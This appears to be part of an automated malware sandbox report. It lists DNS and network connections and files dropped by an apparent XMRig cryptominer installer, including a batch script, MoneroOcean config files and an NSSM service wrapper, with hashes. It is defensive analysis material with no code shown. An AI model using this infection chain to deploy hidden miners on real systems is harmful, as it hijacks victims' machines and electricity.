                                                                                                                                                                                                                                                                                                            tls
                                                                                                                                                                                                                                                                                                            25.5kB
                                                                                                                                                                                                                                                                                                            1.9MB
                                                                                                                                                                                                                                                                                                            545
                                                                                                                                                                                                                                                                                                            1335
                                                                                                                                                                                                                                                                                                          • 185.199.109.133:443
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            52 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                          • 52.191.219.104:443
                                                                                                                                                                                                                                                                                                            46 B
                                                                                                                                                                                                                                                                                                            40 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                          • 216.239.32.29:80
                                                                                                                                                                                                                                                                                                            46 B
                                                                                                                                                                                                                                                                                                            52 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                          • 172.217.169.67:80
                                                                                                                                                                                                                                                                                                            46 B
                                                                                                                                                                                                                                                                                                            52 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            209.205.72.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            72 B
                                                                                                                                                                                                                                                                                                            158 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            209.205.72.20.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            rentry.co
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            55 B
                                                                                                                                                                                                                                                                                                            103 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            rentry.co

                                                                                                                                                                                                                                                                                                            DNS Response

                                                                                                                                                                                                                                                                                                            104.26.3.16
                                                                                                                                                                                                                                                                                                            172.67.75.40
                                                                                                                                                                                                                                                                                                            104.26.2.16

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            82.90.14.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            70 B
                                                                                                                                                                                                                                                                                                            133 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            82.90.14.23.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            16.3.26.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            70 B
                                                                                                                                                                                                                                                                                                            132 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            16.3.26.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            136.32.126.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            72 B
                                                                                                                                                                                                                                                                                                            158 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            136.32.126.40.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            95.221.229.192.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            73 B
                                                                                                                                                                                                                                                                                                            144 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            95.221.229.192.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            71 B
                                                                                                                                                                                                                                                                                                            135 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com

                                                                                                                                                                                                                                                                                                            DNS Response

                                                                                                                                                                                                                                                                                                            185.199.109.133
                                                                                                                                                                                                                                                                                                            185.199.111.133
                                                                                                                                                                                                                                                                                                            185.199.108.133
                                                                                                                                                                                                                                                                                                            185.199.110.133

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            104.219.191.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            73 B
                                                                                                                                                                                                                                                                                                            147 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            104.219.191.52.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            165 B
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Response

                                                                                                                                                                                                                                                                                                            20.166.126.56

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            103.169.127.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            73 B
                                                                                                                                                                                                                                                                                                            147 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            103.169.127.40.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            56.126.166.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            72 B
                                                                                                                                                                                                                                                                                                            158 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            56.126.166.20.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            107.12.20.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            70 B
                                                                                                                                                                                                                                                                                                            133 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            107.12.20.2.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            80.90.14.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            70 B
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            80.90.14.23.in-addr.arpa

                                                                                                                                                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                            226.162.46.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                            dns
                                                                                                                                                                                                                                                                                                            73 B
                                                                                                                                                                                                                                                                                                            147 B
                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            1

                                                                                                                                                                                                                                                                                                            DNS Request

                                                                                                                                                                                                                                                                                                            226.162.46.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            2f57fde6b33e89a63cf0dfdd6e60a351

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            445bf1b07223a04f8a159581a3d37d630273010f

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            5b5352c55a8e79ac8de4be3202d496a1

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            4a263d9e36e5ef972e4b19035cae169e1df6459c

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            eff52a77e2fd653199c31162fbd5557a83995ef0e6e0570bf6495d1b5386b3b8

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            c4e5e245c427bc6f9cc95ae80efbd46fd432bea5a4f9366332b1850d833316e6f4eab0e25259b2ea39c40724dcae91ba748234cb1a3cf95b38d8fed162741d63

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            e7c57cdd8bce4a096d066e757ba0c046

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            96578a7712eb5e1ee0cb6a34940929e87e227cfe

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            a5ac108f15056d63a305730bc0498965560787c72ff925c0fe7a6e75e535fecf

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            446f69a7f7d0e38704509bc8c9e11e55ce0f54ae4839e749d096c6e6ca8ce7dac7903cd7846ce8197ad2327e0573027f6fee014ddae0afa3b59a2b000b42e5a7

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            dd53c307da7ba48080a69c577a28356d

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            bfe948e75c7f3138515bf015b11793387fb81f20

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            f3085b35631017173628a3b0d916f7d085a1ec4976c5506396bf5514984cd291

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            125f03f5773103939de3bc20525155696a8d4b54cc87ad9eb35389c745ffb5e1cfa10a08e1407806f98b67d6c2527bd350a509fcc9f0eaee370fc2eb6494ef4f

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            5d06042c3fe297ffc93a519417999dfe

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            474eb5b7daaefe4af1f5fe0aecdc869b4196e2c2

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            c5964a82284aa2d20a8fda7dac0201201a30f0f0b9cab7c3596dcafc65b395d8

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            214ec78fc41ed5a0cb69b962fa155dffb01025cadbaeee8c82ed2e5414a00cb815ac53cc88d0bce34b117a28cc13329caceea01288620c79c3ad11848975c5f8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            9141afbe205ae5ee4e4e12d3a281b9c7

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            80f1c6ee96f6949acaf77491721f0929a7477961

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            da09e1550ea118daa513bf2afdad3c22333451164712eb1ca6ee799cc93b5cb9

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            e2ae1354f006af45517a167e22a44ba9a9def5f520c4bbd6421c3d60f072879fc67383ce0ae31db97a81bd0610dec567090fb4eb0ec71c793bd851b2d0fab71d

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            987ad4b33dd1a3d85329fb79e477cdd5

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            a20a76d5e5aa10fa69853bffe3e7a6955d49249a

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            295f0dffdc30245f9947407c8200de8a11491ca2ce5d2b2659416f135f842850

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            94d86ef459bd60a8c51207fee6281095231d9fd51aa3c708a9c3a936326b382b69517bc41121a27abff09c735d33228717f8b4a087a1a09e286fe3b14024b6b8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            a9b53645ac136a73f0af2f791f716efd

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9917c3c61b029440dacd1b93a80700ce4afdfae8

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            e9945e3f08483ef253189f405ad6ed0360649884e7ff534bbb233ba93fdd71d6

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            a10d2e89faf9f76242edf38c88af522c7739402e158b7202566442bcbe78c84e7ff1c375a90c75bc396046e90a8a57dc24817a1a5ae524da148c1eef034962b9

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            143a478fb47996f74bbbcdaa252b9e0b

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            288893a45c1c50f8245a32aa06dfb1ac2ff31c83

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            68934f3f08ec215f81367aa0dcafccb5

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            ee64d26c0e324f59ca0fb2b7fc0808cfb985be0a

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3adf0bd133b877436dcb6d441b5e5991f56feac0e8370e5f821fcd2d248577a5

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            5c823017241a83f067ef9ad1020d879b5108be8cb8e4422f1abf079c67c2871d90fbd45446946860bc45dfac6f8d71bafef00c125269f28aa9980873e8247b5d

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            d90ea7f2678b3b04ae00fe742a307438

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            5d0a7423684e21fa002e16bf2b522ebb810989cb

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            098f84d62af935b74a97cfcbfb58e4d6ffd0bfe5acfc1bdc4ef9956c4f013746

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            35dd285ca9ed55a6f6325199156b25be41048bbe39f634c174c193a8bebdcbb1466e033e3c0ff203b89f8bbf0ce3fce124151abf00a1199140e41c43767d43c2

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            64B

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            96b93e9385cf171047717a1f9ea57f0b

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            ec92de8bbafc934cae049e12f648debc9021d373

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            9686dc9ecdaea1e208e1e26a8822a52c179ea5fe7e12af92c21c43cde173681e

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            8b4d846ace09bfe6e873be5614e3e59fac9a003d8588a3b47fd81ba9702f9c3da3dc948621870414e50ed35ba278f4f021053b2c90737987f231a0adeeeb25a7

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ztsvjoc5.005.ps1

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            60B

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\tmpEB1.tmp.bat

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            14KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            623f6006f683afdb4b7406e3a4ec35bf

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            f63f03d7338317224726eba368f1a045fa2142d7

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            21d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            725d38d9eeadc9c2691063936b01f9ec

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            153fd5bd55cfd845516562291a7ab867d68145b5

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            0df3cdd812a582b5ddf5c8019fe7aecf03edb5760f4cf2d0c81ba73590a2ec43

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            fe2758ddaa974696c733367d479dc54695ee1f177275f3b26d575b3c27b8c968b6bab0ce1e5b715e6513d1f39d880462b3d8cc542507f2eeae531a9a6d337658

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            64cafb884608c751a2bccaca7c582e0f

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            924f71ecb4903ab63a13a125e62fd6e5f5d20cb2

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3250e852f2fb3e61bd0642d92f1decac666777da7c4d59d6270ee49fc856151b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            ddd68d3d13bd65f926f6be67ac891c143d6e282ee955871382452f2627ca42ed54e7363d83651b904cdf8054bc1d12a02becd44ac1b5cdc98ac42fc7ebfe97a0

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            8b25f31750a1bd2a5184de93c2f727c6

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            a12969638354fc5268be07eda6bc4352cc40d488

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            aa99ae2f4627f2d7e2a9c19474248667b8654d02f68cacbb2d644ee6e6de9da4

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            b3d6c24f246d0e2afd58a4dec93007df1afaf70ea3394c03d8d661cf06570b5c6ca0337524f503b2cef113da70b65d482b8d53d77bca4941fc99a2e918f415ca

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            993bb26789d07c6ba3d0483e1697f66b

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9ccb7876dc4ddb65b2aba03737bc708f231704d5

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            be170c95c392fec2dda13b4f6710cac7e9f2cf1b59d5e0ea9e3ab1906453025b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            753c77dbcea361b403abd05bd594af8c924b246960b8e9375dcc51d75d47abf08af37eefa2ea3139301cf97c5cd27c71834155f53f00565495f78f01c006dc5a

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            71469039aeadb148b9be6bef59efea0e

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            368aae717236f31850399ff06a973dc7e6dafedf

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            a959d78ed05393b0ee462c47573deb247d69a495e5fb2eb7991c99d60b48bac2

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            fd242b21996fb01f62cd6d23cd899b39890528918cd8fd145c82a4af4069b0278e601536ccecbf9d077a1c6e680a1cad416067878a72a06ea50a6546375f56f9

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            d4f8a13f8c90e2b3b2e7d30a553df39c

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            5c5303ef682ffcd31e57d1abd900ba5b637d51e4

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            68b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            c9ef9c214996db3d88f571226910c5d5

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            420ba30247b1e09f706557a7704a1ebee5d3165c

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\nssm.exe

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            360KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            1136efb1a46d1f2d508162387f30dc4d

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            f280858dcfefabc1a9a006a57f6b266a5d1fde8e

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            43b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\xmrig.exe

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            9.0MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            9ee2c39700819e5daab85785cac24ae1

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9b5156697983b2bdbc4fff0607fadbfda30c9b3b

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            47d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\xmrig.exe

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.6MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            d98997f58338d0e9fa2ea71a2022a277

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            398249d37dee924813032aad6d2d66bc318945b4

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            c00426ea55a9293b22136e320d10714ce673651ff9113bd7466faa1d8876f560

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            349fde2a99ea6badfe63f6ccb687630179ca6ea8803c82af9f2ad8ee1ed59659c927596ec7e27a45e2bccfb8f2e27082d0dbdffc3e2717d16a0db855abe65e80

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\xmrig.exe

